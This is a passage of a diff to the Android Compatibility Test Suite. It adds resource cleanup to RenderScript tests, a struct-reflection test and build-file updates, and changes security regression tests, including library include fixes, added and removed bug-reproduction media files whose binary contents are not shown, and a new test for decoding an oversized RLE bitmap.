     MediaStoreSaver.savePNG(mBitmap, "sharpd1new", name, renderScript.getApplicationContext());
   }
   /*
@@ -106,6 +115,7 @@
     scriptC.forEach_PackFuzzyImage(mAllocation);
 
     mAllocation.copyTo(mBitmap);
+    mAllocation.destroy();
     MediaStoreSaver.savePNG(mBitmap, "fuzzyd1new", name, renderScript.getApplicationContext());
   }
 
@@ -132,6 +142,14 @@
     }
     scriptC.set_g_kernel_stack(kernelData.stackAllocation);
     scriptC.set_galloc_kernel_info(kernelData.infoAllocation);
+    if (kernelInfo != null) {
+      kernelInfo.destroy();
+    }
+    kernelInfo = kernelData.infoAllocation;
+    if (kernelStack != null) {
+      kernelStack.destroy();
+    }
+    kernelStack = kernelData.stackAllocation;
   }
 
   @Override
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/f32/ImageBuffersForRenderScriptF32.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/f32/ImageBuffersForRenderScriptF32.java
index 53e6e55..33c4d21 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/f32/ImageBuffersForRenderScriptF32.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/f32/ImageBuffersForRenderScriptF32.java
@@ -41,6 +41,12 @@
   public Allocation fuzzyImageAllocation;
   public Allocation integralImageAllocation;
 
+  public void destroy() {
+    sharpImageAllocation.destroy();
+    fuzzyImageAllocation.destroy();
+    integralImageAllocation.destroy();
+  }
+
   /**
    * A constructor that allocates memory buffers in Java and binds the buffers
    * with the global pointers in the Render Script.
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/f32/RefocusFilterF32.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/f32/RefocusFilterF32.java
index 35b0bd4..e4f8ff9 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/f32/RefocusFilterF32.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/f32/RefocusFilterF32.java
@@ -56,6 +56,11 @@
     super(rs);
   }
 
+  public void destroy() {
+    buffers.destroy();
+    scriptC.destroy();
+  }
+
   @Override
   protected void initializeScriptAndBuffers(Bitmap inputImage,
       LayerInfo focalLayer) {
@@ -96,7 +101,9 @@
     scriptC.forEach_PackSharpImage(mAllocation);
 
     mAllocation.copyTo(mBitmap);
+    mAllocation.destroy();
     MediaStoreSaver.savePNG(mBitmap, "sharpF32", name, renderScript.getApplicationContext());
+    mAllocation.destroy();
   }
   /*
    * Utility Method to extract intermediatory result
@@ -109,7 +116,9 @@
     scriptC.forEach_PackFuzzyImage(mAllocation);
 
     mAllocation.copyTo(mBitmap);
+    mAllocation.destroy();
     MediaStoreSaver.savePNG(mBitmap, "fuzzyF32", name, renderScript.getApplicationContext());
+    mAllocation.destroy();
   }
 
   @Override
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs b/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
index 5e35aa3..c3e322b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
+++ b/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
@@ -27,9 +27,9 @@
 }
 
 void RS_KERNEL bar(int x, int y) {
-  int a = rsGetElementAt_int(gAllocOut, x, y);
-  a++;
-  rsSetElementAt_int(gAllocOut, a, x, y);
+    int a = rsGetElementAt_int(gAllocOut, x, y);
+    a++;
+    rsSetElementAt_int(gAllocOut, a, x, y);
 }
 
 void testSingleInput(rs_allocation in, rs_allocation out) {
@@ -58,3 +58,19 @@
     opts.yEnd = dimY;
     rsForEachWithOptions(bar, &opts);
 }
+
+void testConsistency(rs_allocation in, rs_allocation out) {
+    rsForEach(foo, in, out);
+    const uint32_t dimX = rsAllocationGetDimX(in);
+    const uint32_t dimY = rsAllocationGetDimY(in);
+    for (int i = 0; i < dimX; i++) {
+        for (int j = 0; j < dimY; j++) {
+            if (rsGetElementAt_int(out, i, j) != 2 * rsGetElementAt_int(in, i, j)) {
+                rsSendToClientBlocking(RS_MSG_TEST_FAILED);
+                return;
+            }
+        }
+    }
+    rsSendToClientBlocking(RS_MSG_TEST_PASSED);
+}
+
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/struct_field.rs b/tests/tests/renderscript/src/android/renderscript/cts/struct_field.rs
new file mode 100644
index 0000000..0ad639c
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/struct_field.rs
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "shared.rsh"
+
+// Ensure that we can reflect correct Java code for a struct with
+// multiple fields of type struct.  Java sets the script global
+// variable "outer", and then calls a verification invokable
+// "checkOuter()", passing the expected field values as scalar
+// arguments.
+
+struct InnerOne {
+    int x;
+    int y;
+    float f;
+};
+
+typedef struct InnerOne s_innerOne;
+
+struct InnerTwo {
+    int8_t z;
+    struct InnerOne innerOne;
+};
+
+struct Outer {
+    struct InnerOne innerOneA;
+    long l;  // to induce padding
+    struct InnerOne innerOneB;
+    struct InnerTwo innerTwo3[3];
+    struct InnerTwo innerTwo2[2];
+    struct InnerOne innerOne4[4];
+    s_innerOne      innerOneC;  // does a typedef confuse reflection?
+};
+
+struct Outer outer;
+
+// Fragment of incoming argument list: Fields for struct InnerOne.
+// Arguments are named argPrefix"_x", argPrefix"_y", argPrefix"_f".
+#define ARGS_INNERONE_(argPrefix) \
+    int argPrefix ## _x, int argPrefix ## _y, float argPrefix ## _f
+
+// Fragment of incoming argument list: Fields for struct InnerOne
+// within struct Outer.
+// Arguments are named outerFieldName"_x", outerFieldName"_y", outerFieldName"_f".
+#define ARGS_INNERONE_SCALAR(outerFieldName) \
+    ARGS_INNERONE_(outerFieldName)
+
+// Fragment of incoming argument list: Fields for element of array of
+// struct InnerOne within struct Outer.
+// Arguments are named outerFieldName"_"index"_x", outerFieldName"_"index"_y",
+// and outerFieldName"_"index"_f".
+#define ARGS_INNERONE_ARRAY(outerFieldName, index) \
+    ARGS_INNERONE_(outerFieldName ## _ ## index)
+
+// Fragment of incoming argument list: Fields for element of array of
+// struct InnerTwo (with nested InnerOne flattened out) within struct Outer.
+// Arguments are named outerFieldName"_"index"_z", outerFieldName"_"index"_innerOne_x", etc.
+#define ARGS_INNERTWO_ARRAY(outerFieldName, index) \
+    int8_t outerFieldName ## _ ## index ## _z, ARGS_INNERONE_(outerFieldName ## _ ## index ## _innerOne)
+
+// #define TRACE(...) rsDebug(__VA_ARGS__)
+#define TRACE(...) (void)0
+
+void checkOuter(ARGS_INNERONE_SCALAR(innerOneA),
+                long l,
+                ARGS_INNERONE_SCALAR(innerOneB),
+                ARGS_INNERTWO_ARRAY(innerTwo3, 0),
+                ARGS_INNERTWO_ARRAY(innerTwo3, 1),
+                ARGS_INNERTWO_ARRAY(innerTwo3, 2),
+                ARGS_INNERTWO_ARRAY(innerTwo2, 0),
+                ARGS_INNERTWO_ARRAY(innerTwo2, 1),
+                ARGS_INNERONE_ARRAY(innerOne4, 0),
+                ARGS_INNERONE_ARRAY(innerOne4, 1),
+                ARGS_INNERONE_ARRAY(innerOne4, 2),
+                ARGS_INNERONE_ARRAY(innerOne4, 3),
+                ARGS_INNERONE_SCALAR(innerOneC)) {
+    bool failed = false;
+
+    // Compare contents of a struct InnerOne instance against incoming argument values.
+    // Compares instanceName".x" to argPrefix"_x", etc.
+#define CHECK_INNERONE_(instanceName, argPrefix)       \
+    do {                                               \
+       TRACE(# instanceName, instanceName.x);          \
+        _RS_ASSERT(instanceName.x == argPrefix ## _x); \
+       TRACE(# instanceName, instanceName.y);          \
+        _RS_ASSERT(instanceName.y == argPrefix ## _y); \
+       TRACE(# instanceName, instanceName.f);          \
+        _RS_ASSERT(instanceName.f == argPrefix ## _f); \
+    } while(false)
+
+    // Compare contents of a struct InnerOne instance within global
+    // variable "outer" against incoming argument values.
+    // Compares "outer."outerFieldName".x" to outerFieldName"_x", etc.
+#define CHECK_INNERONE_SCALAR(outerFieldName) \
+    CHECK_INNERONE_(outer.outerFieldName, outerFieldName)
+
+    // Compare contents of element of array of struct InnerOne
+    // instance within global variable "outer" against incoming argument values.
+    // Compares "outer"outerFieldName"["index"].x" to outerFieldName"_"index"_x", etc.
+#define CHECK_INNERONE_ARRAY(outerFieldName, index) \
+    CHECK_INNERONE_(outer.outerFieldName[index], outerFieldName ## _ ## index)
+
+    // Compare contents of element of array of struct InnerTwo
+    // instance within global variable "outer" against incoming argument values.
+    // Compares "outer."outerFieldName"["index"].z" to outerFieldName"_"index"_z",
+    // "outer."outerFieldName"["index"].innerOne.x" to outerFieldName""index"_innerOne_x",
+    // etc.
+#define CHECK_INNERTWO_ARRAY(outerFieldName, index)                                                 \
+    do {                                                                                            \
+        TRACE(# index, outer.outerFieldName[index].z);                \
+        _RS_ASSERT(outer.outerFieldName[index].z == outerFieldName ## _ ## index ## _z); \
+        CHECK_INNERONE_(outer.outerFieldName[index].innerOne, outerFieldName ## _ ## index ## _innerOne); \
+    } while (false);
+
+    CHECK_INNERONE_SCALAR(innerOneA);
+    TRACE("l", outer.l);
+    _RS_ASSERT(outer.l == l);
+    CHECK_INNERONE_SCALAR(innerOneB);
+    CHECK_INNERTWO_ARRAY(innerTwo3, 0);
+    CHECK_INNERTWO_ARRAY(innerTwo3, 1);
+    CHECK_INNERTWO_ARRAY(innerTwo3, 2);
+    CHECK_INNERTWO_ARRAY(innerTwo2, 0);
+    CHECK_INNERTWO_ARRAY(innerTwo2, 1);
+    CHECK_INNERONE_ARRAY(innerOne4, 0);
+    CHECK_INNERONE_ARRAY(innerOne4, 1);
+    CHECK_INNERONE_ARRAY(innerOne4, 2);
+    CHECK_INNERONE_ARRAY(innerOne4, 3);
+    CHECK_INNERONE_SCALAR(innerOneC);
+
+    if (failed) {
+        rsSendToClientBlocking(RS_MSG_TEST_FAILED);
+    }
+    else {
+        rsSendToClientBlocking(RS_MSG_TEST_PASSED);
+    }
+}
diff --git a/tests/tests/rsblas/Android.mk b/tests/tests/rsblas/Android.mk
index 700fba3..293c481 100644
--- a/tests/tests/rsblas/Android.mk
+++ b/tests/tests/rsblas/Android.mk
@@ -27,7 +27,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 LOCAL_JNI_SHARED_LIBRARIES := libbnnmdata_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
diff --git a/tests/tests/rsblas/libbnnmdata/Android.mk b/tests/tests/rsblas/libbnnmdata/Android.mk
index bbfd289..84fb4e6 100644
--- a/tests/tests/rsblas/libbnnmdata/Android.mk
+++ b/tests/tests/rsblas/libbnnmdata/Android.mk
@@ -14,7 +14,6 @@
 
 LOCAL_PATH := $(call my-dir)
 include $(CLEAR_VARS)
-LOCAL_CLANG := true
 
 LOCAL_MODULE := libbnnmdata_jni
 LOCAL_MODULE_TAGS := optional
diff --git a/tests/tests/rscpp/Android.mk b/tests/tests/rscpp/Android.mk
index bdcf840..cdbf72c 100644
--- a/tests/tests/rscpp/Android.mk
+++ b/tests/tests/rscpp/Android.mk
@@ -28,7 +28,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 LOCAL_JNI_SHARED_LIBRARIES := librscpptest_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index 73d2234..47ab6dd3 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -18,7 +18,6 @@
 LOCAL_PATH := $(call my-dir)
 include $(CLEAR_VARS)
 LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-LOCAL_CLANG := true
 LOCAL_MODULE := librscpptest_jni
 LOCAL_MODULE_TAGS := optional
 
@@ -46,9 +45,10 @@
 LOCAL_C_INCLUDES += frameworks/rs
 
 LOCAL_CPPFLAGS := -std=c++11
+LOCAL_CFLAGS := -Wno-unused-parameter
 
 LOCAL_SHARED_LIBRARIES := libdl liblog
-LOCAL_STATIC_LIBRARIES := libRScpp_static libcutils
+LOCAL_STATIC_LIBRARIES := libRScpp_static
 
 LOCAL_SDK_VERSION := 21
 
diff --git a/tests/tests/rscpp/librscpptest/rs_jni.cpp b/tests/tests/rscpp/librscpptest/rs_jni.cpp
index 920d95d..9401c0a 100644
--- a/tests/tests/rscpp/librscpptest/rs_jni.cpp
+++ b/tests/tests/rscpp/librscpptest/rs_jni.cpp
@@ -50,7 +50,7 @@
     }
 }
 
-sp<const Element> makeElement(sp<RS> rs, RsDataType dt, int vecSize) {
+sp<const Element> makeElement(const sp<RS> &rs, RsDataType dt, int vecSize) {
     if (vecSize > 1) {
         return Element::createVector(rs, dt, vecSize);
     } else {
diff --git a/tests/tests/rscpp/librscpptest/rs_jni_allocation.cpp b/tests/tests/rscpp/librscpptest/rs_jni_allocation.cpp
index 4b8b8a8..f2d1a0b 100644
--- a/tests/tests/rscpp/librscpptest/rs_jni_allocation.cpp
+++ b/tests/tests/rscpp/librscpptest/rs_jni_allocation.cpp
@@ -31,7 +31,7 @@
 
 using namespace android::RSC;
 
-static void createTypedHelper (sp<RS> rs, sp<const Element> e) {
+static void createTypedHelper (const sp<RS> &rs, sp<const Element> e) {
     Type::Builder typeBuilder(rs, e);
     for (int mips = 0; mips <= 1; mips ++) {
         bool useMips = (mips == 1);
@@ -122,7 +122,7 @@
     return true;
 }
 
-static sp<const Element> makeElement(sp<RS> rs, RsDataType dt, int vecSize) {
+static sp<const Element> makeElement(const sp<RS> &rs, RsDataType dt, int vecSize) {
     if (vecSize > 1) {
         return Element::createVector(rs, dt, vecSize);
     } else {
@@ -142,7 +142,7 @@
  * @param autoPadding Enable autoPadding or not. 
 */
 template <class T>
-static bool helperCopy1D(sp<RS> rs, int cellCount, int offset, int count, bool copyRange,
+static bool helperCopy1D(const sp<RS> &rs, int cellCount, int offset, int count, bool copyRange,
                          RsDataType dt, bool autoPadding = false) {
     bool passed = true;
     int arrLen = cellCount;
@@ -188,7 +188,7 @@
 }
 
 //Corresponding 1D allocation to allocation copy.
-static bool helperFloatAllocationCopy1D(sp<RS> rs, int cellCount, int offset, int count) {
+static bool helperFloatAllocationCopy1D(const sp<RS> &rs, int cellCount, int offset, int count) {
 
     bool passed = true;
     sp<Allocation> srcA = Allocation::createSized(rs, Element::F32(rs), cellCount);
@@ -234,7 +234,7 @@
  * @param autoPadding Enable autoPadding or not. 
 */
 template <class T>
-static bool helperCopy2D(sp<RS> rs, int xElems, int yElems,
+static bool helperCopy2D(const sp<RS> &rs, int xElems, int yElems,
                          int xOffset, int yOffset, int xCount, int yCount,
                          RsDataType dt, bool autoPadding = false) {
     bool passed = true;
@@ -275,7 +275,7 @@
 }
 
 //Corresponding 2D allocation to allocation copy.
-static bool helperFloatAllocationCopy2D(sp<RS> rs, int xElems, int yElems,
+static bool helperFloatAllocationCopy2D(const sp<RS> &rs, int xElems, int yElems,
                                         int xOffset, int yOffset, int xCount, int yCount) {
 
     bool passed = true;
@@ -325,7 +325,7 @@
  * @param autoPadding Enable autoPadding or not. 
 */
 template <class T>
-static bool helperCopy3D(sp<RS> rs, int xElems, int yElems, int zElems,
+static bool helperCopy3D(const sp<RS> &rs, int xElems, int yElems, int zElems,
                          int xOffset, int yOffset, int zOffset,
                          int xCount, int yCount, int zCount,
                          RsDataType dt, bool autoPadding = false) {
@@ -378,7 +378,7 @@
 }
 
 //Corresponding 3D allocation to allocation copy.
-static bool helperFloatAllocationCopy3D(sp<RS> rs, int xElems, int yElems, int zElems,
+static bool helperFloatAllocationCopy3D(const sp<RS> &rs, int xElems, int yElems, int zElems,
                                         int xOffset, int yOffset, int zOffset,
                                         int xCount, int yCount, int zCount) {
 
diff --git a/tests/tests/rscpp/librscpptest/rs_jni_type.cpp b/tests/tests/rscpp/librscpptest/rs_jni_type.cpp
index 5458a25..b6e4078 100644
--- a/tests/tests/rscpp/librscpptest/rs_jni_type.cpp
+++ b/tests/tests/rscpp/librscpptest/rs_jni_type.cpp
@@ -32,7 +32,7 @@
 
 using namespace android::RSC;
 
-static bool testTypeBuilderHelper(sp<RS> mRS, sp<const Element> e) {
+static bool testTypeBuilderHelper(const sp<RS> &mRS, sp<const Element> e) {
     const int min = 1;
     const int max = 8;
 
diff --git a/tests/tests/sax/Android.mk b/tests/tests/sax/Android.mk
index 498aa40..65d5be2 100644
--- a/tests/tests/sax/Android.mk
+++ b/tests/tests/sax/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index f2b4470..a0ed953 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -21,38 +21,24 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestserver ctstestrunner ctsdeviceutil compatibility-device-util guava
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestserver \
+    ctstestrunner \
+    ctsdeviceutil \
+    compatibility-device-util \
+    guava \
+    legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.test.runner org.apache.http.legacy
 
 LOCAL_JNI_SHARED_LIBRARIES := libctssecurity_jni libcts_jni libnativehelper_compat_libc++ \
-		libnativehelper \
-		libbinder \
-		libutils \
-		libmedia \
-		libselinux \
-		libcutils \
-		libcrypto \
-		libc++ \
-		libbacktrace \
-		libui \
-		libsonivox \
-		libexpat \
-		libcamera_client \
-		libgui \
-		libaudioutils \
-		libnbaio \
-		libpcre \
-		libpackagelistparser \
-		libpowermanager \
-		libbase \
-		libunwind \
-		libhardware \
-		libsync \
-		libcamera_metadata \
-		libspeexresampler \
-		liblzma \
-		libstagefright_foundation
+                      libnativehelper \
+                      libcutils \
+                      libcrypto \
+                      libselinux \
+                      libc++ \
+                      libpcre2 \
+                      libpackagelistparser
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)\
                    src/android/security/cts/activity/ISecureRandomService.aidl\
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index d39ac7e..fc6f515 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -31,39 +31,20 @@
 		android_security_cts_MMapExecutableTest.cpp \
 		android_security_cts_EncryptionTest.cpp \
 
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
-										$(TOP)/frameworks/native/include/media/openmax
-
-LOCAL_SHARED_LIBRARIES := libnativehelper \
+LOCAL_SHARED_LIBRARIES := \
+		libnativehelper \
 		liblog \
-		libutils \
-		libmedia \
-		libselinux \
-		libdl \
 		libcutils \
 		libcrypto \
+		libselinux \
 		libc++ \
-		libbacktrace \
-		libui \
-		libsonivox \
-		libexpat \
-		libcamera_client \
-		libgui \
-		libaudioutils \
-		libnbaio \
-		libpcre \
+		libpcre2 \
 		libpackagelistparser \
-		libpowermanager \
-		libbase \
-		libunwind \
-		libhardware \
-		libsync \
-		libcamera_metadata \
-		libspeexresampler \
-		liblzma \
-		libstagefright_foundation
+
 
 LOCAL_C_INCLUDES += ndk/sources/cpufeatures
 LOCAL_STATIC_LIBRARIES := cpufeatures
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/security/jni/android_security_cts_EncryptionTest.cpp b/tests/tests/security/jni/android_security_cts_EncryptionTest.cpp
index 69bc452..47f760a 100644
--- a/tests/tests/security/jni/android_security_cts_EncryptionTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_EncryptionTest.cpp
@@ -18,7 +18,7 @@
 #include <cutils/log.h>
 #include <cutils/properties.h>
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 #include <openssl/aes.h>
 #include <openssl/cpu.h>
 #include <openssl/evp.h>
@@ -70,70 +70,6 @@
     return rc;
 }
 
-/*
- * Function: cpuHasAes
- * Purpose: Check if we have an ARM CPU with AES instruction
- * Parameters: none
- * Returns: boolean: (true) if AES is available, (false) otherwise
- * Exceptions: none
- */
-static jboolean android_security_cts_EncryptionTest_cpuHasAes(JNIEnv *, jobject)
-{
-    jboolean rc = false;
-    AndroidCpuFamily family = android_getCpuFamily();
-    uint64_t features = android_getCpuFeatures();
-
-    if (family == ANDROID_CPU_FAMILY_ARM) {
-        rc = (features & ANDROID_CPU_ARM_FEATURE_AES) != 0;
-    } else if (family == ANDROID_CPU_FAMILY_ARM64) {
-        rc = (features & ANDROID_CPU_ARM64_FEATURE_AES) != 0;
-    }
-
-    ALOGE("EncryptionTest::cpuHasAes: %d", rc);
-    return rc;
-}
-
-/*
- * Function: cpuHasNeon
- * Purpose: Check if we have an ARM CPU with NEON instructions
- * Parameters: none
- * Returns: boolean: (true) if NEON is available, (false) otherwise
- * Exceptions: none
- */
-static jboolean android_security_cts_EncryptionTest_cpuHasNeon(JNIEnv *, jobject)
-{
-    jboolean rc = false;
-    AndroidCpuFamily family = android_getCpuFamily();
-
-    if (family == ANDROID_CPU_FAMILY_ARM) {
-        rc = (android_getCpuFeatures() & ANDROID_CPU_ARM_FEATURE_NEON) != 0;
-    } else {
-        rc = (family == ANDROID_CPU_FAMILY_ARM64);
-    }
-
-    ALOGE("EncryptionTest::cpuHasNeon: %d", rc);
-    return rc;
-}
-
-/*
- * Function: neonIsEnabled
- * Purpose: Check if libcrypto is compiled with NEON support
- * Parameters: none
- * Returns: boolean: (true) if NEON is available, (false) otherwise
- * Exceptions: none
- */
-static jboolean android_security_cts_EncryptionTest_neonIsEnabled(JNIEnv *, jobject)
-{
-#if defined(OPENSSL_ARM) || defined(OPENSSL_AARCH64)
-    jboolean rc = CRYPTO_is_NEON_capable();
-#else
-    jboolean rc = false;
-#endif
-
-    ALOGE("EncryptionTest::neonIsEnabled: %d", rc);
-    return rc;
-}
-
 static inline uint64_t ns()
 {
     struct timespec ts;
@@ -202,12 +138,6 @@
 static JNINativeMethod gMethods[] = {
     { "deviceIsEncrypted", "()Z",
             (void *) android_security_cts_EncryptionTest_deviceIsEncrypted },
-    { "cpuHasAes", "()Z",
-            (void *) android_security_cts_EncryptionTest_cpuHasAes },
-    { "cpuHasNeon", "()Z",
-            (void *) android_security_cts_EncryptionTest_cpuHasNeon },
-    { "neonIsEnabled", "()Z",
-            (void *) android_security_cts_EncryptionTest_neonIsEnabled },
     { "aesIsFast", "()Z",
             (void *) android_security_cts_EncryptionTest_aesIsFast }
 };
diff --git a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
index 9b8016e..8514f8b 100644
--- a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
@@ -20,6 +20,7 @@
 #include <stdlib.h>
 #include <string.h>
 #include <sys/stat.h>
+#include <sys/sysmacros.h>
 
 /*
  * Native methods used by
diff --git a/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp b/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp
index 8f164bc..c7975ec 100644
--- a/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_SELinuxTest.cpp
@@ -15,18 +15,19 @@
  */
 
 #include <jni.h>
+#include <nativehelper/JNIHelp.h>
+#include <nativehelper/ScopedLocalRef.h>
+#include <nativehelper/ScopedUtfChars.h>
 #include <selinux/selinux.h>
-#include <JNIHelp.h>
-#include <ScopedLocalRef.h>
-#include <ScopedUtfChars.h>
-#include <UniquePtr.h>
+
+#include <memory>
 
 struct SecurityContext_Delete {
     void operator()(security_context_t p) const {
         freecon(p);
     }
 };
-typedef UniquePtr<char[], SecurityContext_Delete> Unique_SecurityContext;
+typedef std::unique_ptr<char[], SecurityContext_Delete> Unique_SecurityContext;
 
 /*
  * Function: getFileContext
diff --git a/tests/tests/security/res/raw/bug_21443020_webm.mp4 b/tests/tests/security/res/raw/bug_21443020_webm.mp4
deleted file mode 100644
index edb761a..0000000
--- a/tests/tests/security/res/raw/bug_21443020_webm.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_22771132.mp4 b/tests/tests/security/res/raw/bug_22771132.mp4
deleted file mode 100644
index f97e1f3..0000000
--- a/tests/tests/security/res/raw/bug_22771132.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_23270724_1.mp4 b/tests/tests/security/res/raw/bug_23270724_1.mp4
deleted file mode 100644
index 93a9b2e..0000000
--- a/tests/tests/security/res/raw/bug_23270724_1.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_23270724_2.mp4 b/tests/tests/security/res/raw/bug_23270724_2.mp4
deleted file mode 100644
index fcdfcd2..0000000
--- a/tests/tests/security/res/raw/bug_23270724_2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33251605.bmp b/tests/tests/security/res/raw/bug_33251605.bmp
new file mode 100644
index 0000000..0060ff4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33251605.bmp
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34031018_32bit.xmf b/tests/tests/security/res/raw/bug_34031018_32bit.xmf
deleted file mode 100644
index 8f869ab..0000000
--- a/tests/tests/security/res/raw/bug_34031018_32bit.xmf
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34031018_64bit.xmf b/tests/tests/security/res/raw/bug_34031018_64bit.xmf
deleted file mode 100644
index 4ddd28d..0000000
--- a/tests/tests/security/res/raw/bug_34031018_64bit.xmf
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34360591.mp4 b/tests/tests/security/res/raw/bug_34360591.mp4
deleted file mode 100644
index 28c47d3..0000000
--- a/tests/tests/security/res/raw/bug_34360591.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34778578.bmp b/tests/tests/security/res/raw/bug_34778578.bmp
deleted file mode 100644
index 4a08a61..0000000
--- a/tests/tests/security/res/raw/bug_34778578.bmp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_35467107.mp4 b/tests/tests/security/res/raw/bug_35467107.mp4
deleted file mode 100644
index 43ccef6..0000000
--- a/tests/tests/security/res/raw/bug_35467107.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_35763994.amr b/tests/tests/security/res/raw/bug_35763994.amr
deleted file mode 100644
index b6d3f0e..0000000
--- a/tests/tests/security/res/raw/bug_35763994.amr
+++ /dev/null
@@ -1 +0,0 @@
-#!AMR-WB
diff --git a/tests/tests/security/res/raw/onekhzsine_90sec.mp3 b/tests/tests/security/res/raw/onekhzsine_90sec.mp3
new file mode 100644
index 0000000..3049011
--- /dev/null
+++ b/tests/tests/security/res/raw/onekhzsine_90sec.mp3
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/AslrTest.java b/tests/tests/security/src/android/security/cts/AslrTest.java
index 535224f..9bc6c75 100644
--- a/tests/tests/security/src/android/security/cts/AslrTest.java
+++ b/tests/tests/security/src/android/security/cts/AslrTest.java
@@ -99,8 +99,6 @@
 
     public void testRandomization() throws Exception {
         testMappingEntropy("stack");
-        testMappingEntropy("heap");
-        testMappingEntropy("anon:libc_malloc");
     }
 
     public void testOneExecutableIsPie() throws IOException {
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
new file mode 100644
index 0000000..f3c2302
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.test.AndroidTestCase;
+
+import java.io.InputStream;
+
+import android.security.cts.R;
+
+public class BigRleTest extends AndroidTestCase {
+    /**
+     * Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
+     *
+     * This image reports that its encoded length is over 4 gigs. Prior to fixing issue 33251605,
